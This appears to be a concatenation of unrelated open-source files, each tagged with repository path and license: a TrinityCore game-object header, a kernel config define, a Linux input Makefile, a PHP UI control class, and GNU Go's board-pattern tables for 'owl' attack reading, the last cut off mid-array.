m_respawnDelayTime; } void Refresh(); void Delete(); void getFishLoot(Loot* loot, Player* loot_owner); GameobjectTypes GetGoType() const { return GameobjectTypes(GetByteValue(GAMEOBJECT_BYTES_1, 1)); } void SetGoType(GameobjectTypes type) { SetByteValue(GAMEOBJECT_BYTES_1, 1, type); } GOState GetGoState() const { return GOState(GetByteValue(GAMEOBJECT_BYTES_1, 0)); } void SetGoState(GOState state); uint8 GetGoArtKit() const { return GetByteValue(GAMEOBJECT_BYTES_1, 2); } void SetGoArtKit(uint8 artkit); uint8 GetGoAnimProgress() const { return GetByteValue(GAMEOBJECT_BYTES_1, 3); } void SetGoAnimProgress(uint8 animprogress) { SetByteValue(GAMEOBJECT_BYTES_1, 3, animprogress); } static void SetGoArtKit(uint8 artkit, GameObject* go, uint32 lowguid = 0); void SetPhaseMask(uint32 newPhaseMask, bool update); void EnableCollision(bool enable); void Use(Unit* user); LootState getLootState() const { return m_lootState; } // Note: unit is only used when s = GO_ACTIVATED void SetLootState(LootState s, Unit* unit = NULL); uint16 GetLootMode() { return m_LootMode; } bool HasLootMode(uint16 lootMode) { return m_LootMode & lootMode; } void SetLootMode(uint16 lootMode) { m_LootMode = lootMode; } void AddLootMode(uint16 lootMode) { m_LootMode |= lootMode; } void RemoveLootMode(uint16 lootMode) { m_LootMode &= ~lootMode; } void ResetLootMode() { m_LootMode = LOOT_MODE_DEFAULT; } void AddToSkillupList(uint32 PlayerGuidLow) { m_SkillupList.push_back(PlayerGuidLow); } bool IsInSkillupList(uint32 PlayerGuidLow) const { for (std::list<uint32>::const_iterator i = m_SkillupList.begin(); i != m_SkillupList.end(); ++i) if (*i == PlayerGuidLow) return true; return false; } void ClearSkillupList() { m_SkillupList.clear(); } void AddUniqueUse(Player* player); void AddUse() { ++m_usetimes; } uint32 GetUseCount() const { return m_usetimes; } uint32 GetUniqueUseCount() const { return m_unique_users.size(); } void SaveRespawnTime(); Loot loot; Player* GetLootRecipient() const; Group* GetLootRecipientGroup() const; void SetLootRecipient(Unit* unit); bool IsLootAllowedFor(Player const* player) const; bool HasLootRecipient() const { return m_lootRecipient || m_lootRecipientGroup; } uint32 m_groupLootTimer; // (msecs)timer used for group loot uint32 lootingGroupLowGUID; // used to find group which is looting bool hasQuest(uint32 quest_id) const; bool hasInvolvedQuest(uint32 quest_id) const; bool ActivateToQuest(Player* target) const; void UseDoorOrButton(uint32 time_to_restore = 0, bool alternative = false, Unit* user = NULL); // 0 = use `gameobject`.`spawntimesecs` void ResetDoorOrButton(); void TriggeringLinkedGameObject(uint32 trapEntry, Unit* target); bool IsAlwaysVisibleFor(WorldObject const* seer) const; bool IsInvisibleDueToDespawn() const; uint8 getLevelForTarget(WorldObject const* target) const { if (Unit* owner = GetOwner()) return owner->getLevelForTarget(target); return 1; } GameObject* LookupFishingHoleAround(float range); void CastSpell(Unit* target, uint32 spell); void SendCustomAnim(uint32 anim); bool IsInRange(float x, float y, float z, float radius) const; void ModifyHealth(int32 change, Unit* attackerOrHealer = NULL, uint32 spellId = 0); // sets GameObject type 33 destruction flags and optionally default health for that state void SetDestructibleState(GameObjectDestructibleState state, Player* eventInvoker = NULL, bool setHealth = false); GameObjectDestructibleState GetDestructibleState() const { if (HasFlag(GAMEOBJECT_FLAGS, GO_FLAG_DESTROYED)) return GO_DESTRUCTIBLE_DESTROYED; if (HasFlag(GAMEOBJECT_FLAGS, GO_FLAG_DAMAGED)) return GO_DESTRUCTIBLE_DAMAGED; return GO_DESTRUCTIBLE_INTACT; } void EventInform(uint32 eventId); uint64 GetRotation() const { return m_rotation; } virtual uint32 GetScriptId() const { return GetGOInfo()->ScriptId; } GameObjectAI* AI() const { return m_AI; } std::string GetAIName() const; void SetDisplayId(uint32 displayid); uint32 GetDisplayId() const { return GetUInt32Value(GAMEOBJECT_DISPLAYID); } GameObjectModel* m_model; void GetRespawnPosition(float &x, float &y, float &z, float* ori = NULL) const; Transport* ToTransport() { if (GetGOInfo()->type == GAMEOBJECT_TYPE_MO_TRANSPORT) return reinterpret_cast<Transport*>(this); else return NULL; } Transport const* ToTransport() const { if (GetGOInfo()->type == GAMEOBJECT_TYPE_MO_TRANSPORT) return reinterpret_cast<Transport const*>(this); else return NULL; } float GetStationaryX() const { if (GetGOInfo()->type != GAMEOBJECT_TYPE_MO_TRANSPORT) return m_stationaryPosition.GetPositionX(); return GetPositionX(); } float GetStationaryY() const { if (GetGOInfo()->type != GAMEOBJECT_TYPE_MO_TRANSPORT) return m_stationaryPosition.GetPositionY(); return GetPositionY(); } float GetStationaryZ() const { if (GetGOInfo()->type != GAMEOBJECT_TYPE_MO_TRANSPORT) return m_stationaryPosition.GetPositionZ(); return GetPositionZ(); } float GetStationaryO() const { if (GetGOInfo()->type != GAMEOBJECT_TYPE_MO_TRANSPORT) return m_stationaryPosition.GetOrientation(); return GetOrientation(); } protected: bool AIM_Initialize(); void UpdateModel(); // updates model in case displayId were changed uint32 m_spellId; time_t m_respawnTime; // (secs) time of next respawn (or despawn if GO have owner()), uint32 m_respawnDelayTime; // (secs) if 0 then current GO state no dependent from timer LootState m_lootState; bool m_spawnedByDefault; time_t m_cooldownTime; // used as internal reaction delay time store (not state change reaction). // For traps this: spell casting cooldown, for doors/buttons: reset time. std::list<uint32> m_SkillupList; Player* m_ritualOwner; // used for GAMEOBJECT_TYPE_SUMMONING_RITUAL where GO is not summoned (no owner) std::set<uint64> m_unique_users; uint32 m_usetimes; typedef std::map<uint32, uint64> ChairSlotAndUser; ChairSlotAndUser ChairListSlots; uint32 m_DBTableGuid; ///< For new or temporary gameobjects is 0 for saved it is lowguid GameObjectTemplate const* m_goInfo; GameObjectData const* m_goData; GameObjectValue m_goValue; uint64 m_rotation; Position m_stationaryPosition; uint64 m_lootRecipient; uint32 m_lootRecipientGroup; uint16 m_LootMode; // bitmask, default LOOT_MODE_DEFAULT, determines what loot will be lootable private: void RemoveFromOwner(); void SwitchDoorOrButton(bool activate, bool alternative = false); //! Object distance/size - overridden from Object::_IsWithinDist. Needs to take in account proper GO size. bool _IsWithinDist(WorldObject const* obj, float dist2compare, bool /*is3D*/) const { //! Following check does check 3d distance return IsInRange(obj->GetPositionX(), obj->GetPositionY(), obj->GetPositionZ(), dist2compare); } GameObjectAI* m_AI; }; #endif
bromacia/TrinityCore-SymboCore
src/server/game/Entities/GameObject/GameObject.h
C
gpl-2.0
39,573
#define CONFIG_SECURITY_SELINUX 1
vickylinuxer/at91sam9263-kernel
include/3g/config/security/selinux.h
C
gpl-2.0
34
# # Makefile for the input misc drivers. # # Each configuration option enables a list of files. obj-$(CONFIG_INPUT_APANEL) += apanel.o obj-$(CONFIG_INPUT_ATI_REMOTE) += ati_remote.o obj-$(CONFIG_INPUT_ATI_REMOTE2) += ati_remote2.o obj-$(CONFIG_INPUT_ATLAS_BTNS) += atlas_btns.o obj-$(CONFIG_INPUT_CM109) += cm109.o obj-$(CONFIG_INPUT_COBALT_BTNS) += cobalt_btns.o obj-$(CONFIG_INPUT_DM355EVM) += dm355evm_keys.o obj-$(CONFIG_HP_SDC_RTC) += hp_sdc_rtc.o obj-$(CONFIG_INPUT_IXP4XX_BEEPER) += ixp4xx-beeper.o obj-$(CONFIG_INPUT_KEYSPAN_REMOTE) += keyspan_remote.o obj-$(CONFIG_INPUT_M68K_BEEP) += m68kspkr.o obj-$(CONFIG_INPUT_PCF50633_PMU) += pcf50633-input.o obj-$(CONFIG_INPUT_PCSPKR) += pcspkr.o obj-$(CONFIG_INPUT_POWERMATE) += powermate.o obj-$(CONFIG_INPUT_RB532_BUTTON) += rb532_button.o obj-$(CONFIG_INPUT_GPIO_ROTARY_ENCODER) += rotary_encoder.o obj-$(CONFIG_INPUT_SGI_BTNS) += sgi_btns.o obj-$(CONFIG_INPUT_SPARCSPKR) += sparcspkr.o obj-$(CONFIG_INPUT_TWL4030_PWRBUTTON) += twl4030-pwrbutton.o obj-$(CONFIG_INPUT_UINPUT) += uinput.o obj-$(CONFIG_INPUT_WISTRON_BTNS) += wistron_btns.o obj-$(CONFIG_INPUT_YEALINK) += yealink.o obj-$(CONFIG_INPUT_STMP3XXX_ROTDEC) += stmp3xxx_rotdec.o obj-$(CONFIG_INPUT_FPC1080) += fpc1080.o
vasubabu/kernel
drivers/input/misc/Makefile
Makefile
gpl-2.0
1,249
<?php abstract class PoP_Module_Processor_AnchorControlsBase extends PoP_Module_Processor_ControlsBase { public function getTemplateResource(array $module, array &$props): ?array { return [PoP_CoreProcessors_TemplateResourceLoaderProcessor::class, PoP_CoreProcessors_TemplateResourceLoaderProcessor::RESOURCE_CONTROL_ANCHOR]; } public function getHref(array $module, array &$props) { return '#'; } public function getClasses(array $module) { return array( 'text' => 'pop-btn-title' ); } public function getTarget(array $module, array &$props) { return null; } public function getImmutableConfiguration(array $module, array &$props): array { $ret = parent::getImmutableConfiguration($module, $props); if ($this->getProp($module, $props, 'make-title')) { $ret['make-title'] = true; } if ($target = $this->getTarget($module, $props)) { $ret['target'] = $target; } $ret[GD_JS_CLASSES] = $this->getClasses($module); return $ret; } public function getMutableonrequestConfiguration(array $module, array &$props): array { $ret = parent::getMutableonrequestConfiguration($module, $props); // Adding in the runtime configuration, because the link can change. Eg: // Organization+Members / Members tabs in the author profile if ($href = $this->getHref($module, $props)) { $ret['href'] = $href; } return $ret; } }
leoloso/PoP
layers/Legacy/Schema/packages/migrate-everythingelse/migrate/plugins/pop-coreprocessors/pop-library/processors/abstract-classes/controls/anchor-controls-base.php
PHP
gpl-2.0
1,577
/*mgena===================================================================*/ /* owl_attackpat.c */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * This is GNU GO, a Go program. Contact gnugo@gnu.org, or see * * http://www.gnu.org/software/gnugo/ for more information. * * * * Copyright 1999, 2000, 2001, 2002 by the Free Software Foundation. * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License as * * published by the Free Software Foundation - version 2 * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License in file COPYING for more details. * * * * You should have received a copy of the GNU General Public * * License along with this program; if not, write to the Free * * Software Foundation, Inc., 59 Temple Place - Suite 330, * * Boston, MA 02111, USA. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* #include <stdio.h> */ /* #include "gnugo.h" */ /* #include "liberty.h" */ /* #include "patterns.h" */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stdio.h> #include <stdlib.h> #include <assert.h> #include "sgf.h" #include "engine.h" #include "patterns.h" static struct patval owl_attackpat0[] = { {0,2,1}, {0,1,1}, {-1,1,2}, {0,0,2}, {-1,2,3}, {0,-1,0}, {0,-2,0}, {-1,0,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat1[] = { {-2,1,1}, {0,1,1}, {0,0,2}, {-1,2,3}, {-1,-1,0}, {-1,0,0}, {-1,1,0}, {-2,2,0}, {0,-2,0}, {0,-1,0}, {-2,-1,0}, {-2,0,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat2[] = { {0,1,1}, {0,0,1}, {-1,0,2}, {0,-2,2}, {0,-1,0}, {-1,-1,0}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat3[] = { {0,0,1}, {-1,0,2}, {-1,1,4}, {0,1,0}, {0,2,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat4[] = { {1,0,1}, {0,-1,1}, {0,-2,1}, {-1,-2,2}, {0,0,2}, {-1,-1,2}, {-1,0,0}, {0,1,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {-1,1,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat5[] = { {-1,1,1}, {0,1,1}, {0,0,2}, {-2,-1,2}, {-1,-2,3}, {0,-2,3}, {-2,0,4}, {0,-1,0}, {-1,-1,0}, {-1,0,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat6[] = { {0,1,1}, {1,0,1}, {-1,1,2}, {0,0,2}, {0,-1,0}, {0,-2,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {-1,0,0}, {1,1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat7[] = { {-1,2,1}, {0,0,1}, {-1,0,2}, {-1,1,3}, {-1,-2,0}, {0,-3,0}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {0,1,0}, {0,2,0}, {1,-3,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-3,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat8[] = { {-2,-1,1}, {0,-2,1}, {0,0,1}, {0,1,2}, {-1,1,2}, {-1,0,0}, {0,-1,0}, {-1,-1,0}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat9[] = { {0,0,1}, {-1,1,0}, {-1,2,0}, {-1,3,0}, {-1,0,0}, {0,1,0}, {0,2,0}, {0,3,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}}; static struct patval owl_attackpat10[] = { {0,0,1}, {0,-1,2}, {-1,1,3}, {0,1,3}, {-1,0,0}, {-1,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat11[] = { {0,0,1}, {-1,1,2}, {-1,2,4}, {-1,0,4}, {0,1,0}, {0,2,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat12[] = { {1,0,1}, {1,-1,1}, {0,-1,1}, {0,0,2}, {-1,-1,2}, {-1,2,4}, {0,1,0}, {0,2,0}, {-1,0,0}, {-1,1,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat13[] = { {0,0,1}, {-2,1,2}, {1,0,3}, {-2,2,4}, {-2,3,4}, {-1,3,0}, {-1,1,0}, {0,1,0}, {0,2,0}, {0,3,0}, {-1,2,0}, {1,1,0}, {1,2,0}, {1,3,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}}; static struct patval owl_attackpat14[] = { {0,1,1}, {0,0,1}, {-1,0,2}, {0,-2,2}, {0,-1,0}, {-1,-1,0}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat15[] = { {1,-1,1}, {-2,0,1}, {0,0,2}, {-2,-1,3}, {-2,-2,0}, {-1,-2,0}, {-1,-3,0}, {-1,0,0}, {0,-3,0}, {0,-2,0}, {0,-1,0}, {-2,-3,0}, {1,-3,0}, {1,-2,0}, {-1,-1,0}}; static struct patval owl_attackpat16[] = { {3,0,1}, {0,0,1}, {2,1,2}, {0,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {0,-2,0}, {3,-2,0}, {3,-1,0}, {0,1,0}}; static struct patval owl_attackpat17[] = { {1,1,1}, {0,0,1}, {0,-3,4}, {1,-3,4}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {0,-1,0}, {2,-3,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {3,-3,0}, {3,-2,0}, {3,-1,0}, {3,0,0}, {3,1,0}}; static struct patval owl_attackpat18[] = { {0,-1,1}, {1,0,1}, {1,1,1}, {0,-2,1}, {-1,-1,2}, {0,0,2}, {-1,-2,2}, {0,1,2}, {-1,1,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {-1,2,0}, {-1,0,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat19[] = { {0,0,1}, {1,1,1}, {-1,-1,2}, {0,1,3}, {0,-2,3}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,-2,0}}; static struct patval owl_attackpat20[] = { {1,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,-2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat21[] = { {0,0,1}, {0,-1,1}, {-1,0,2}, {-1,1,4}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat22[] = { {0,0,1}, {0,-1,1}, {-1,0,2}, {1,0,2}, {-1,1,4}, {1,-1,0}, {0,1,0}, {1,1,0}}; static struct patval owl_attackpat23[] = { {1,0,1}, {0,-1,1}, {0,0,2}, {-1,0,2}, {0,1,4}, {1,-1,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat24[] = { {1,0,1}, {0,-1,1}, {-1,1,2}, {0,0,2}, {0,1,0}, {1,-1,0}, {-1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat25[] = { {0,2,1}, {0,0,2}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat26[] = { {0,0,1}, {0,-2,2}, {1,1,3}, {0,1,3}, {1,-2,0}, {1,-1,0}, {1,0,0}, {0,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}}; static struct patval owl_attackpat27[] = { {0,0,1}, {0,-2,2}, {1,1,3}, {0,1,3}, {0,2,3}, {1,2,3}, {1,-1,0}, {1,0,0}, {0,-1,0}, {1,-2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}}; static struct patval owl_attackpat28[] = { {0,0,1}, {-1,0,1}, {-1,-2,2}, {1,-1,4}, {1,0,4}, {0,-1,0}, {1,-2,0}, {0,-2,0}, {-1,-1,0}}; static struct patval owl_attackpat29[] = { {0,0,1}, {-1,0,2}, {1,-1,3}, {0,-1,3}, {-1,2,4}, {-1,1,4}, {0,2,0}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat30[] = { {0,0,1}, {-1,1,2}, {-1,0,2}, {0,-1,3}, {-1,3,3}, {1,-1,3}, {0,3,3}, {0,2,0}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}}; static struct patval owl_attackpat31[] = { {1,2,1}, {0,0,2}, {1,-1,4}, {2,-1,4}, {0,1,4}, {1,1,0}, {1,0,0}, {2,0,0}, {2,1,0}, {2,2,0}, {3,0,0}, {3,1,0}, {3,2,0}}; static struct patval owl_attackpat32[] = { {0,-1,1}, {1,0,1}, {1,1,2}, {0,0,2}, {1,-1,3}, {-1,2,0}, {0,1,0}, {0,2,0}, {-1,-1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat33[] = { {0,1,1}, {0,2,1}, {-1,1,2}, {0,0,2}, {1,-1,3}, {-1,2,3}, {-1,0,4}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat34[] = { {0,0,1}, {0,-1,1}, {-1,1,2}, {0,1,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat35[] = { {0,0,1}, {0,-1,1}, {-1,1,2}, {0,1,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat36[] = { {0,2,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat37[] = { {0,2,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat38[] = { {0,2,1}, {0,1,1}, {0,0,2}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat39[] = { {0,2,1}, {0,1,1}, {-1,1,2}, {-1,2,2}, {0,0,2}, {0,-1,0}, {-1,0,0}, {-1,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat40[] = { {1,0,1}, {0,-1,1}, {-1,-1,2}, {0,0,2}, {-1,0,0}, {0,1,0}, {1,-1,0}, {-1,1,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat41[] = { {0,0,1}, {-1,1,3}, {-1,0,3}, {0,-1,3}, {-1,2,0}, {0,1,0}, {0,2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat42[] = { {0,0,1}, {-1,1,3}, {-1,0,3}, {0,-1,3}, {-1,2,0}, {0,1,0}, {0,2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat43[] = { {1,-1,1}, {0,0,1}, {0,-2,1}, {0,-1,2}, {-1,-1,2}, {-2,0,2}, {-1,2,4}, {-1,0,4}, {-2,1,4}, {-1,1,4}, {-2,-1,4}, {0,2,0}, {0,3,0}, {1,-2,0}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}}; static struct patval owl_attackpat44[] = { {0,2,1}, {0,0,2}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat45[] = { {1,0,1}, {1,-1,1}, {0,-1,2}, {0,0,2}, {0,1,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat46[] = { {1,2,1}, {0,1,1}, {0,0,2}, {2,2,3}, {1,1,0}, {1,0,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,-1,0}}; static struct patval owl_attackpat47[] = { {1,2,1}, {0,1,1}, {0,0,2}, {2,2,3}, {1,-1,0}, {1,1,0}, {0,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat48[] = { {-1,-1,1}, {1,-2,1}, {0,-1,1}, {1,0,1}, {0,0,2}, {-1,0,2}, {-1,2,3}, {-1,1,3}, {0,2,0}, {1,-1,0}, {0,1,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat49[] = { {2,0,1}, {1,-1,1}, {0,0,2}, {2,-1,3}, {0,2,3}, {1,1,0}, {1,2,0}, {0,1,0}, {1,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat50[] = { {1,0,1}, {0,0,2}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat51[] = { {0,1,1}, {1,0,1}, {0,0,2}, {-1,0,2}, {-1,-3,3}, {0,-3,3}, {-1,-2,3}, {0,-2,0}, {-1,-1,0}, {1,-3,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}, {1,1,0}}; static struct patval owl_attackpat52[] = { {1,0,1}, {0,0,2}, {-1,-2,3}, {-1,-3,3}, {-1,-1,3}, {0,-1,0}, {0,-3,0}, {1,-3,0}, {1,-2,0}, {1,-1,0}, {0,-2,0}}; static struct patval owl_attackpat53[] = { {1,0,1}, {0,0,2}, {-1,-2,3}, {-1,-1,3}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat54[] = { {-1,-1,1}, {1,0,1}, {0,0,2}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat55[] = { {1,2,1}, {0,0,2}, {0,1,4}, {1,0,0}, {1,1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat56[] = { {-1,3,1}, {0,0,2}, {-1,2,0}, {-1,1,0}, {0,1,0}, {0,2,0}, {0,3,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}}; static struct patval owl_attackpat57[] = { {1,-1,1}, {0,1,2}, {0,0,2}, {1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {3,-1,0}, {3,0,0}, {3,1,0}, {3,2,0}}; static struct patval owl_attackpat58[] = { {2,-1,1}, {0,0,2}, {0,-1,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {0,1,0}, {2,0,0}, {2,1,0}, {3,-1,0}, {3,0,0}, {3,1,0}}; static struct patval owl_attackpat59[] = { {0,0,1}, {-1,1,1}, {0,1,2}, {-1,0,3}, {1,0,0}, {1,1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat60[] = { {0,-1,1}, {1,-1,1}, {0,2,1}, {0,0,2}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat61[] = { {0,0,1}, {1,1,1}, {-1,1,1}, {0,-1,2}, {-1,0,2}, {1,-2,3}, {0,2,3}, {-1,-1,4}, {1,2,4}, {1,0,0}, {0,1,0}, {1,-1,0}}; static struct patval owl_attackpat62[] = { {0,0,1}, {1,3,2}, {0,1,3}, {0,2,3}, {1,-1,3}, {0,-1,3}, {2,3,4}, {1,2,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {1,0,0}}; static struct patval owl_attackpat63[] = { {0,0,1}, {-1,0,2}, {-1,2,0}, {-1,1,0}, {0,1,0}, {0,2,0}, {0,3,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat64[] = { {0,0,1}, {-1,0,2}, {-1,2,0}, {-1,1,0}, {0,1,0}, {0,2,0}, {0,3,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat65[] = { {0,0,1}, {-1,0,2}, {-1,2,0}, {-1,1,0}, {0,1,0}, {0,2,0}, {0,3,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat66[] = { {1,1,1}, {1,2,1}, {1,0,2}, {0,0,2}, {0,1,0}, {0,2,0}, {-1,2,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat67[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {-1,2,3}, {-1,0,3}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat68[] = { {1,-1,1}, {1,-2,2}, {0,0,2}, {-2,-1,3}, {-2,0,3}, {-2,-2,3}, {0,-2,0}, {0,-1,0}, {-1,0,0}, {-1,-2,0}, {-1,-1,0}}; static struct patval owl_attackpat69[] = { {1,-1,1}, {0,0,2}, {-2,-1,3}, {-2,-2,3}, {-2,0,3}, {-1,-2,0}, {0,-2,0}, {0,-1,0}, {-1,0,0}, {1,-2,0}, {-1,-1,0}}; static struct patval owl_attackpat70[] = { {1,-1,1}, {0,0,2}, {1,0,2}, {-2,-1,3}, {-2,0,3}, {0,-2,0}, {0,-1,0}, {-1,0,0}, {1,-2,0}, {-1,-1,0}, {-1,-2,0}}; static struct patval owl_attackpat71[] = { {0,0,1}, {-1,1,1}, {-1,-1,2}, {0,-1,0}, {-1,0,0}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat72[] = { {0,0,1}, {-2,-1,2}, {-2,0,4}, {-2,-2,4}, {-1,-2,0}, {-1,0,0}, {0,-3,0}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {1,-3,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {2,0,0}, {3,0,0}}; static struct patval owl_attackpat73[] = { {1,-1,1}, {0,0,1}, {1,1,2}, {0,-2,2}, {-1,-1,2}, {0,2,2}, {-2,0,3}, {-2,2,3}, {-2,1,3}, {-1,-2,4}, {1,2,4}, {0,1,0}, {-1,2,0}, {0,-1,0}, {1,0,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat74[] = { {0,0,1}, {1,0,1}, {0,1,2}, {0,-1,2}, {-2,1,3}, {-2,-1,3}, {-2,0,3}, {-1,1,0}, {-1,-1,0}, {-1,0,0}}; static struct patval owl_attackpat75[] = { {0,0,1}, {-1,1,4}, {1,-2,4}, {1,-1,4}, {-1,2,4}, {0,-2,4}, {-2,1,4}, {-2,2,4}, {-1,-2,0}, {-1,-1,0}, {-1,0,0}, {-3,-2,0}, {-2,-1,0}, {-2,0,0}, {0,-1,0}, {-3,-1,0}, {-3,0,0}, {-2,-2,0}}; static struct patval owl_attackpat76[] = { {0,0,1}, {1,-1,2}, {-1,1,2}, {0,-1,0}, {-1,-1,0}, {-1,0,0}}; static struct patval owl_attackpat77[] = { {0,0,1}, {-4,0,3}, {-4,1,3}, {-4,-1,3}, {-1,-3,4}, {-1,2,4}, {-2,-3,4}, {-2,-2,4}, {-2,3,4}, {-1,3,4}, {-1,-2,4}, {-2,2,4}, {-2,-1,0}, {-3,-1,0}, {-2,1,0}, 